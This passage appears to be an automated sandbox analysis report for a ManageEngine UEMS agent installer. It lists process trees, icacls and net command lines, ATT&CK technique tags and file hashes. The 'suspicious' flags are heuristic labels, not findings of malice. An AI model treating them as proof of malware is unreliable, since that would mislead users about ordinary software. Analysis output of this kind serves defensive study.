- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:6036
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 7898B854D35A33BA88168AAAF864010F
  2⤵
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5080
- C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
  "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  - Suspicious use of WriteProcessMemory
  PID:5632
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Windows\SysWOW64\net.exe
      net session
      4⤵
      System Location Discovery: System Language Discovery
      PID:1252
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:1724
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:4948
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "CZIEFEEQ\Admin":(OI)(CI)F /T /Q
      4⤵
      Modifies file permissions
      PID:3852
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r
      4⤵
      Modifies file permissions
      PID:3372
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q
      4⤵
      Modifies file permissions
      PID:1688
  - - C:\Windows\SysWOW64\icacls.exe
      "C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q
      4⤵
      Modifies file permissions
      PID:1848
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""
    3⤵
    - Executes a command shell one-liner
    PID:4848
  - - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
      7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so
      4⤵
      PID:1608
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y
    3⤵
    PID:1928
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
    7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"
    3⤵
    PID:3292
- - C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
    "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 22
    3⤵
    PID:1084

C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\WSfcxVsbzUOw.aIy
C:\Users\Public\PZurtqDHfMketrRxnCyzKTJCJCQWOXDa\WSfcxVsbzUOw.aIy
1⤵
PID:1968

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
PID:4444

C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"
1⤵
PID:2856

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

client.p12

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\Certificates\client.p12
Size 1KB
SHA256 bcf149c15de6f3a4a071c41d47a78c55328565e8be523956848d718889192a70
MD5 14fe6b681b39e9b79e3fe9004c8b4f8c
SHA1 dc2a9e6634eeff6ef391e13769522950b29d3b87
SHA512 6059f8660c2254d1e16350c1bd923708174f3b810029fc84d4bc38e51954f67546c5852ce2230147017a9fede9c9c1bc5a5593b9ae78e6e4b3b0b76817fe5b08
TLSH
T143217483A72BA182FE7DDF8C256C4D0279C5EB5436C4116FF67852820826B79FA4E133
MD5 SHA1 SHA512 TLSH

Submit Download

7za.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe
Size 839KB
SHA256 bfb34635f295df13ea1677c0d51d08fafd2da21a1c0bea252df6342d40e511a0
MD5 a5efe54df4f28f6d12adf840dc931b36
SHA1 dc9f5baecfc6cb27e8fd3ec56faafa1e007bf743
SHA512 274fe37ae37397efa5425759bc55d6dd53fcd1b76c1472d8d952ff4bb72f5c8ec0f0f28a712e350a2025292851e483f7334463cf2920388c81b238223c9e434a
SSDEEP 24576:fIgB4BNEPZ0m2uTH35dmvTAQkWUnNwjiKSYOojDuR1uwe:fIfBNM2uT5MM/xejJqe
TLSH
T19805AE127BE5D0BBD2420132CB1CABF591F993680B2148C767848F6D7B359D1DA3AA1F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ClientAuthHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\ClientAuthHandler.dll
Size 3.1MB
SHA256 1102372d609f75023e88b678f94e971bbdf5358a5ddd8bb9b9a06f691a84131a
MD5 5e3325dc85cc12d8bfee900860aad196
SHA1 5e90a608d42a71990f75ffa9f6fd848bbad2e955
SHA512 df44f85d3c15377a6687e3bf39e3de07b42f0cdf650c5f9d54f21b8f03a6d4268e9e25e537a71504e1ea7a9133836f095d79453c3f1a1c71faf0f1609544c653
SSDEEP 49152:Zg9cbMMO/M+PmzbLYu9dbSM/fECTK8PqszU6GFXvPU5BLBjAKnbwk1D:ZgewMp+uzbLD9dbSM/fEsKvm
TLSH
T1C1E59E07FB83D5B1DD8E027801B79B7F5D3A8D144B2089E39B9029ADA8B61D0563F36D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato-Bold.eot

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Bold.eot
Size 250KB
SHA256 b91fc1ca55df440dc11354b32a39b45db663d24bb17b16dcb2e706330955b0d1
MD5 a2fb219c999a8fa6b95ad7c24890072e
SHA1 d0a396e49e4a5cca88e454e3463b7b6b4d57cddb
SHA512 aca3eaa61261f2bf3d1da691b2d6e48e70efb139238d7b885559573d325449aff9a21452903553799b47c8bdfefe242b1b29b31225e94871767acdd8257066a2
SSDEEP 6144:7gdw3WS+AcP021JmpP4D5NFhW9FNOj23RHbu6wtAadMYAm/o:7gOm2pgNFhQy29buHt//W
TLSH
T13544123CE5D727C68951C1A34D18A3DE329CF8AE5C56FBA5349AF8BC8CC15130B5EA81
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato-Medium.eot

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\Lato-Medium.eot
Size 245KB
SHA256 1727853b9469a665c3a5573e39503bc592a794d810aed5d03e9a8940f507823c
MD5 cecc32d267ee07ce3413637314b66ca0
SHA1 627b584f88033791f427091fff74c9310bdc2ef1
SHA512 b2f21a38ba5608b4851ee8404abb7ce752388b0b9dfcb24c10f4a1961048ce3d4f811f92b7fb7f2040a1f79243b99760e17ed34c4f0f24a5c2031db47322026e
SSDEEP 6144:SOcdcK8q3U1SniBmXCCCBT6vTy8bV5O+M059N:nOcWEtkCCCBT6Ly8bfM059N
TLSH
T12D341201EAF9036FE595D2CB68056B269517891049B0ECAEE1FF1B3E0CDCEFC46815E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

UEMSAgentCryptoHandler.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\UEMSAgentCryptoHandler.dll
Size 480KB
SHA256 ceabc673783a385ca9195df6425dcd5b2e24a5028380d077f58feba88d99d4ce
MD5 5fffcb6c5222a8c135284688da03c53a
SHA1 01d0f499a855a787ccb4164460e6d233057062bc
SHA512 07600380e2445ca5eb6c432f20f96bcd978ca03bbdee4b7c6294732a2509eb46e0895dc15e90805ffc60d7421522b08ee710523ff5aaca0b49fa14dc916bf2fe
SSDEEP 6144:30hLWB2aHCI0IAnwVMtO0/kcPT6dbJu6ktbAi4suVL90PQdIQA7LHPNwJzQyGVQW:3kKB2NPd4sEL90IdI1PbylXP2L
TLSH
T144A49E127545C032E6AE01B15A39EFBA66BDFD200F7648CB53C45A3F59B01C27736E2A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

agent_binaries.7z

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z
Size 30.3MB
SHA256 14c836e431dc0b0c2accd2217dea7bfffaaa3fa97efa9332d1a9c83eebd89125
MD5 26999168590cfd73f5fc962800d34add
SHA1 45734c3709f8c0af9b917fbe1670bb102278c4a6
SHA512 88cfcec821fbaeae62ebe10316ae65fcf784bf6dc10d8009e0b289388adf0a1810f3460175b28f0dac5054555230f2d8b8d6045fd90a376bf996942e4c360b76
SSDEEP 786432:PZK2wN1mVmWY2FyQULbEINZa4avrmh4Jc6gBMlzk8hdLI:PY2wN1C1Y2GcIbaFmijgwQd
TLSH
T18A6733866B6CCCAEC0ACCDF2570683C150B3B7E2ACB9DD2553654572CC6DD6B0D890EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentregister.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe
Size 244KB
SHA256 b75ac7d29be086f0dbfa902a06b99b29657a71cf03ae2705995e25d33d2fb5ae
MD5 df9c868eaecc31fae740c242b2683304
SHA1 08751e2c3eab82fd753bb540cdd6ba53ea34aecc
SHA512 b0bc1cc4730981a17aa4e0f94f326992120ccdc08debb25cb20dadaf5361f11294c353168ca61c42512fc2c1e5fc058029cc49f2b3a16de5e998ed933e70ec4f
SSDEEP 3072:9R7kbERpyFf8ZFpwez3EcmHw2Rpa42/pKwfigDucpXfHtF37nOqsYrmXkZcphTA/:9R7kbE5weorw3RrDpfNtnVCXkZrsaw0Z
TLSH
T185348E6175D0C072D9A304369CB8DBB6597EF8200F71A6DB63980A7FDE206C29B7171E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentservice.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe
Size 1.5MB
SHA256 fc77ac12c4a368e1ef20666794a98d3bdbdc39bde9bf4f621bbda6bc5e3efd95
MD5 36135dd1fa1dd9da5a10285bf0ce9e90
SHA1 d0eeb92e9cab38344b8f9fa698de12c12fe78912
SHA512 e9ee3c239d22d4b6af1b96e068e043897490cb97d63fbdf9328c63b76877a2ef294b9fb648f867a6ab9d5e73394ab65dc0df96bb6c676be04bb7335ffe07ea87
SSDEEP 24576:S5vmwOhBD6195hbOx/1V8PtIJ2+2qzg/IPVJq67BnVxlxNyCsPtUt5eKI9yB5B:wJlbq4tIMgc8H1tVDryq8jqB
TLSH
T13875AE1372428031D6A100B15939ABB5AFBDAD681F31C4F3A3C499BDC5E05D2973EB7A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcstatusutil.exe

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe
Size 1.3MB
SHA256 2793196a739777e279325897df9a0c67e29e62de4bc0e2460bd915d13242208f
MD5 e1813c4b07400391e20b324a5dd249c8
SHA1 e48dc7264920d72a2d60e6176486a03221018a2a
SHA512 65412ea005d2ecc402491171aeadaaacd59e2ea2beb1552867a1af000271aeace694f58cf2ae58e1163672f5ea126b67b0e63d8edccd37afc7c1ace171311abd
SSDEEP 24576:+HKI7BuEEcOfe5ThXgCuw4l2CBwAOVmbnRLKDnBGaUXqUI4PtEOY5EcE:0KI7BnBhRmltVBRKqq3G
TLSH
T11855BF1372428031D1B1C0F19529FB76AB6C9968676284F3A2C4DEBD11E09D26B3FB5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSDetection.json
Size 28KB
SHA256 60d8882f39c586ab3c36b54529d8b31cf30d538c89d0dc2fb8cbae8c344691df
MD5 91825b38605d333662195bd3b42c869c
SHA1 44a71532d39b9ddfcfd63914184a9d89f5315973
SHA512 545a8242463dfc52cd814c0cb205bdf181bb5882f12e0711db15fa2461afb99798b6682dc1cc09f33ebe502d13f599c84563931b1cc3167cdfd1fcc76c60e808
SSDEEP 384:02wm20Jj93SYQgw58QTGPyuAO8fv7TrpCEAdNbi1AKhHy9v9fp1Tc1aHz82aEgEV:0PY/P
TLSH
T188D24297991D096F022103889AAF76D3A6FCE434897318FEF8D25914AFD9C4A13737B4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OSDetection.json

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\OSJsonfromMSI\OSDetection.json
Size 15KB
SHA256 217d16bf822447ca72c25b81927c8f45eb654beccba6363819e582e98860d33e
MD5 cf5799838289c42502297f17ca89b49b
SHA1 fedc0c8cfb1f9776e096511f8adcd0be5309ca8c
SHA512 98eb1c47b5d10093e202c6259ace58d2e7ef4957c20892fbd067eaf0c88baba994337c2f1bd802191a0e31ca2b3fee72508559acf54a4653b8c2544b440f7556
SSDEEP 96:q0SOJbHBAO8bID3O0seObxtEr5r/Qn2sTLnnmI:q0BhBAO8b0Obx9nFLnnmI
TLSH
T19362D593A51D099F0222039999DF7AD3A1BC94384C7328FEF8C259256FDAC1923737B5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

configuration-settings-dc-win10.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\configuration-settings-dc-win10.xml
Size 247KB
SHA256 4a84d8cc08ffa3e45d7e350550fd32d4a0416788eabe3fba77c8c2df2dc1fe6c
MD5 ff5c89c88fe59a341aa4fe80b6f58215
SHA1 82f86c6bde49bef92565d6f23e79f84bcdc14e20
SHA512 16f1a2208c4c9af43635c676a3e2cad98f8d4fcac0facb91cb3d5b9f5e144c45e42978454783abbadd3f29d3d3d02b9f1a455b0ca0f59cd21bcfeaf3a777a3dd
SSDEEP 768:HtMVQuZ14/++C1TFgSNwbEO6oHJfIb5+qXBi+kpWc2twcIugeIbMjnK8jUEAavAR:HtMzZZ1uSNABIpkIU1
TLSH
T1584417969DFEAC53A2D4091D8E921C087D9A4B874DC91CA035BC7BE4FF634C341A72B9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-framework.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-framework.xml
Size 413KB
SHA256 aa6ab6b406e71bd5f5f4f220de29c8ff8104b318e9e92d8ce74b2755e80b8e22
MD5 a450789f0d23503c895bafaed3d4be27
SHA1 459cfaa1cae6090bb8d98b75452e54a3d85f42e5
SHA512 4d2983551e8de9a883ca7efcf555c5a5e83d32a17fcdabdcc36db7ee16c8b895d2b593b4717cc5fe476b9d9ca7ccbcbdd50aa453a5decbd844beeaa05718892d
SSDEEP 6144:Zs0Hwax5v/yuOusdCCuRugtQiiNJY7tYaCDDZnxFYYh:6fufQiiNJY7tYFSYh
TLSH
T13694B81A2EDDFED4044AD4648C9471942E7B5A3BE19550C0BCDFEE35BB04ADB2C33A62
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary-onpremise.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary-onpremise.xml
Size 109KB
SHA256 08d8186f45e7586351c3c345b0bd85d9ca6df33032277a4952255825cc7bd428
MD5 b39316c180a11c7cbefd08019ad9c97d
SHA1 4f260146ee9e60043f26d21e11d98629b3ca099b
SHA512 b51a56cfaf4aa324f6343de0bf0595523a9889761bb2813e32e49608678c91d45e09fdc56514e8ba8580a217f8a230b4014a2780fc4a7b0c3948070c7a53811e
SSDEEP 384:zfR0qVBkP/pCrbHPDwWmatziuPYkErF7Koej0:jpBMpCHP0WPRi77Ko
TLSH
T161B3861B2DFAFAE5048AD8644CA071985EA06377F1815594B8CECE75AF01BCBBC33B15
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data-dictionary.xml

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\data-dictionary.xml
Size 1.6MB
SHA256 223fc4388d7e54a0a27395911535adc0cf8b26f7e992dc6f0d189b77331b5137
MD5 ac79e017281cd633fb90c06a19a180fc
SHA1 32f8af8ab7c9a9752e7e09b28bba08eb23e8fbd1
SHA512 68e39d64aabf8be54ca43ed34618da249f3869c33822cb09f3c121cad8bf7640b5533c1cc0f77cb5a1a9bd0e8e079339b609fbd29d2a597204b70b01b071ae8c
SSDEEP 49152:pIvq3iwEAiWbHTKRU0YCNDZK+/0KoEDKtKzK5xFKOQFKNoDKlW83wKFC+KFE20:2vqSwEPWbHTKi0YChZK+/0KoEDKtKzKd
TLSH
T1FF75AA1B2EF9F6E1044AD8548CA061982E605377E28562D4BCCEDE75AF01BCBBC33B55
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagent.dll

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\dcagent.dll
Size 4.6MB
SHA256 b1ff95d7d62fc8d0d51d63dcd9f2f86bd4f077d57a5e02ba016cf4343d945453
MD5 0c796eaf7a85429f695e6a27e6706800
SHA1 1e2261134f5fd6ba0738d16a27685092cc810e0e
SHA512 f6b96440d6d2d1031ec95499591a2580d4c87d8dc03922436fed20e2293c7e5c1e5be1ed548962ab1b1e29619ca3078356459629381ff4a515b3450b116dd5d2
SSDEEP 98304:LlZqIPjmcbAlc1M9xWNPFt/7KF2f3YhAnxBQ:L/qIPNAlxjmTKEf3Y6xBQ
TLSH
T12836CF13BA43D070D9DE02B815BA9B7B5E3D89158B3084E3ABD028BD88B51D1673F76D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Lato.woff

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\Lato.woff
Size 36KB
SHA256 8587742fa147f288638345f101fe58bd8a426a22c33cf92dc286e928203ef019
MD5 171937a8fad6a1c8a37344d09d4fc20c
SHA1 834ef4f8bdf16e94383272f7024070cebc002cfe
SHA512 c65909a920b6de0b19e083bab695e8e2dc812c143910ee1e0e69e7141a85e9fae0b2332795d52957aba5829609cd66bcbd4045eddde4df98c0a20c306a64aa3c
SSDEEP 768:2vevzUxNXpUN3RRTe5fF7leCB8EumP7M+e265Cz7NIpYIOi+SLyyS:2vevKNZUtRRfCBXF2HCHmpY3i3OL
TLSH
T10303E1795E45653DC4B283B7A1D8E3AF340F0A087A50653C13A3C36D6ABC7083F529EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcmsghandler.ico

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\dcmsghandler.ico
Size 14KB
SHA256 2d92583e576b380e3d8246a5bdced4a205860d49d9ef66e4acde5007caefac24
MD5 3f93e0ea97079b1f5b356166db334740
SHA1 ea3022d31459c8904df1e8f406741960fe9ce653
SHA512 24584bb387c1981ac08f4266f7312444ee922486f1d20a3d9f655df09048e347c8c2df8be64e3ec99b8d603e4e088296a2abb3e68fc2e85eb5431efba3971c36
SSDEEP 384:1w////ncRy/wUwRRR0RRZRXUuPPPPPP3opSLhRRwyRRWFRRyRDRRjRRRRRKRRRR+:5C
TLSH
T182624886C4054ACDCADA9B33C6EE56BF8A9508B88007504503FC3DF5EB53B19FE6A14E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

drop_down_icon.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\drop_down_icon.png
Size 449B
SHA256 159e7193e72731b16a6516403ff192be20e836a4d06becee474a46ac57e2ce59
MD5 60bd20b51eb0483e93aa6f4cb0a84288
SHA1 35ef5eed1eb03f4c5ce8b6314d5457fd6984d7a4
SHA512 f359e72fc17bebaeaf7ac520667f300213fa1c10775a6fee1d0af05573a610bbbb2dc7050644ddb5610c05873adbfb90042d8d3694c3038792127c982c77425f
TLSH
T1C3F023062DA90252D34DA62704FC8022DE9B89045AC0381CBB07DC7D2F4059555C9BDF
MD5 SHA1 SHA512 TLSH

Submit Download

info.png

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\info.png
Size 2KB
SHA256 5042147fddc3c27e346a4145a7448a4199265e12cfced518871f2a318476cb7a
MD5 d4893659007e98de701a47cd39991be3
SHA1 536c49e5da960171320d4df6c9e6b573bdf2d030
SHA512 6d1812768eaae453512e4b47f190ea7ecc4bd5a535bd9f5c168e770f1c88291a74f95947199be8468127e7756260c94e28b6430556da65170537c384cba0bc29
TLSH
T1EF41A58272C4BFFD10035713B01FF395161AE902CEADF6D32135B6A4AC11614436687B
MD5 SHA1 SHA512 TLSH

Submit Download

minimize_icon.svg

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\images\minimize_icon.svg
Size 161B
SHA256 08615c639994bf55e78c4dc10bf2b69a505cc1f1e3802f21a809a434daf651fe
MD5 10006715631c28cd1cca4302987b6371
SHA1 6a69a91b69b7cf310bbb4295496d3314211de6f9
SHA512 6c43259b84e93b7ed9d6a7202fde26482b934bc8fc67f6963e55788a8cbb08116535b266c07821bb2835058102baf3831d838fff00efc84e9cbc57fd881cc0e5
TLSH
T19DC08C26C2ACCB594322C6B0AA28A220946E4092A884D0A595E34B245173872FD8D8DA
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 2KB
SHA256 567d645861a983ab4b4dd5beab2749e0d1c7187418092931912a23e8d61c2019
MD5 1c6853cd02ddf5cd87e3b7e564bba743
SHA1 d63517c3dcd29bd5f4b32df4c38627dc43ac93ed
SHA512 b2f4230537c216a4227bf6fb06e61aa80a5e931ccc05b665c7b2725f9ece86f2f1acd62eadf132daf57bace8d2bcf968e1888ee1dd7f35440e1b800814d1b80b
TLSH
T18151D6116EB99D9D0E06F39A2395BC94D0CA1C0726EF4CA07B3D4A6D5356004F7FDA6C
MD5 SHA1 SHA512 TLSH

Submit Download

dcClientAuthAccess.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcClientAuthAccess.log
Size 5KB
SHA256 7ef9938bfde235f616516ebb08773fd8029a7fb9c6534a2b7e5ab8cf25db32b8
MD5 d5cdf6b3f6876eab1b5016fc332c89f9
SHA1 cb018194324dd74e0908e0d69caac7c8609d03c1
SHA512 6265fd43401d9f4c7f1a33fdb071518f66f532878837a76888d4b25cbdd9aab6c4f194a86ed5714bca9394db17bedba27d98895371ec234302121c0e12203aa1
SSDEEP 96:eY0ItyMX9XX99X98/V8y+CcqFX9QX9lajRlLWbX9QX9lMzbX9QX9lMzbX9QX9lMu:90ItLXJXvXkX2XfX2XYX2XYX2XYX2XiA
TLSH
T162B1D7116EB99D9D0E06F7892396BC9490CA1C0726EF4CA07B3D4A6E9357004F7FDA6C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcagentinstaller.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcagentinstaller.log
Size 11KB
SHA256 64d270ea1c1d5c1cd3c95c32ad881a87845e8d1e468fbc6fe4696e92849f6342
MD5 ac04124d3d0f894520bc75c185b953ec
SHA1 5f47aeba41b277ed9dde067618bd6360c28a8115
SHA512 51ee1faebc2c56f1b14c65bd1ac5e26130f8d1575570c07ea202e603d94e2640a355bbd942c511d332b897f37e1c16206ad5b6b9d3395a67d7490d679548089e
SSDEEP 96:16QNvXTbUxYZYX0GZcYb1/gOGX0GPpfiVKELhlM5X+f5asHIDW9af13Y1zaztr+X:E0vXTbUxYOX5G41/WX5PFFEaLzfI
TLSH
T17E32F2153FB0386C63AC9D81E87D3BAF9A4E75350983AE28672C78C459EC51E8F9F110
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dcrotatelog.log

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\dcrotatelog.log
Size 1KB
SHA256 a3f209c0ab0e42dc49f5191947a5acff9290d9fbd0b367ef833fe9404aa137a9
MD5 eb440176c7b14da26a0dbbce1fc2dc77
SHA1 f357d4cec7b0c7a3ceab9a83a0fd78cd60bce23f
SHA512 9defae4077d5b6dbe56dd1fc1933ee61eaf3434215f70bedb4f649d5e8450142f0ecfb1fd28d01d04db36e358dcffd28e2342492f1741499dcad2b9816347251
TLSH
T17631810139F8217C36AE8981B53E3B4FD14ABD250053EE211379A8CF95A493E9FDD450
MD5 SHA1 SHA512 TLSH

Submit Download

setAppPermission_Internal.bat

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat
Size 957B
SHA256 8b78e103d656d873fa2a5377dbef7fd92877005dad78fd3521556158453d8ab9
MD5 e300d6f5c088aee55f0b91f4efc72035
SHA1 97d081d6ea84780f8f556cc6dde8dadd10f09e63
SHA512 366f99f7c3387c5b45daf7d3875ddc246ed00d49bb846b5e21dcf3208b910a65d56cce5a211e13a8f10c698d44b4a814069b6ca06fb28a8614dbfdaf952bdea2
TLSH
T14611DC1EF610053C09AE7AD47BB00D66BA29E0E770151A5E3E06135DDF84A80BFB53DB
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA-Server.crt

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA-Server.crt
Size 1KB
SHA256 27550e75128d745fcaca9e1444dca5729084b8c5eb89daa966f607a3ddc322d9
MD5 1be212c5427292a72edce0892b7e89ff
SHA1 5481b4cd5852ce489b1b379bc6c1bce5c1229c9f
SHA512 43b04fe965a7adb8f25c485d226403688ad341e3d144260e7c396879da67186b627be761d4969c4af96c204c6097594683a31e5d72bc85eb4c4b454e730b002e
TLSH
T17821C4A689C0053298C7C1D8D0AA6C8B44F25D2B1EFE72B19DBF6E4299132860375260
MD5 SHA1 SHA512 TLSH

Submit Download

DMRootCA.crt

Path C:\Program Files (x86)\ManageEngine\UEMS_Agent\temp\DMRootCA.crt
Size 1KB
SHA256 3678343390129fd822d55e91aea6bba8927ad6194dea2d71f4a9c2825f69dfed
MD5 124aa82920701ce67213b446dccaff2c
SHA1 656b4da607c6196757abc659eebfd4eb05e105e1
SHA512 9017195f62e7488a4cb3fc2ac457e233992daa3e6bd8c09108b9f0efc58225524a5c76da92b0eaa8b38aee16ba0edea04d07629ed696748b162273210c27758f
TLSH
T1DB21E93C8C806826705BE0EEC6AD53158C7412387FD66BD748EFFC15AE855C519ED4E1
MD5 SHA1 SHA512 TLSH

Submit Download

0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B

Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_4136D3715888E22D65EBE484B233D81B
Size 508B
SHA256 4658b1d1f8b0aa61c7dc7d70f3fd1ba09d0996dab1942c3711237fca20a0e954
MD5 a3c103b863265c637ec7536026142062
SHA1 f9cc9d44eaa0ba4d410a362cf82673d5c6118a15
SHA512 c98c379f073b5ed6d38d99b195757c4289e0b63e7a929334cbeac00aca0f389b744d36dbb990fef2f9449bf3d04ecac43865fd00d2e122243557a7f59441d281
TLSH
T145F05C1C59B9862BF032CE3A17D975976A7BF705341A42A622E4870D6902F046D21639
MD5 SHA1 SHA512 TLSH

Submit Download

Agentinstalllog.txt

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt
Size 1KB
SHA256 1ee9c992dcb45236e85a3dcf240f8b11454857f5cc2080ad3b3b18fa2a7a2eae
MD5 ba74d83ed32589ffe5d744ee47b49720
SHA1 2d21cc38abf9cd7f343141fcc34bf5b7ca867415
SHA512 69075a841d742366db4913ef5d3cdbff2edb33e2a62d681676bdad8b3b6ee853652e7098bd325cd0728f7b15af240776b619a55d8f6def3f18c480f2bc009a40
TLSH
T1FF31F45A5AF80859B2F65B479EF3C0120A73FDD25839DB4C22848319476ED08AD6C3AB
MD5 SHA1 SHA512 TLSH

Submit Download

DCAgentServerInfo.json

Path C:\Users\Admin\AppData\Local\Temp\RarSFX0\DCAgentServerInfo.json
Size 4KB
